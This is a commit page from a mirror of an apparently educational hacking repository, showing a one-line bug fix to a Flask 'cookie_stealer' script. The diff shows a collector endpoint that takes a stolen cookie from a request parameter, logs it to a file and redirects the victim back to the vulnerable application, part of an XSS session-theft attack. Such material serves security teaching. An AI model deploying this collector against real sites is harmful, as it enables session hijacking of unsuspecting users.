mirror of
https://github.com/The-Art-of-Hacking/h4cker.git
synced 2024-10-01 01:25:43 -04:00
Merge pull request #82 from DmitriyStoyanov/fix_cookie_stealer
Fix TypeError issue in cookie_stealer
This commit is contained in:
commit
dd75cfc166
@ -19,7 +19,7 @@ def cookie():
|
|||||||
|
|
||||||
cookie = request.args.get('c')
|
cookie = request.args.get('c')
|
||||||
f = open("cookies.txt","a")
|
f = open("cookies.txt","a")
|
||||||
f.write(cookie + ' ' + str(datetime.now()) + '\n')
|
f.write(str(cookie) + ' ' + str(datetime.now()) + '\n')
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
# redirecting the user back to the vulnerable application
|
# redirecting the user back to the vulnerable application
|
||||||
|
Loading…
Reference in New Issue
Block a user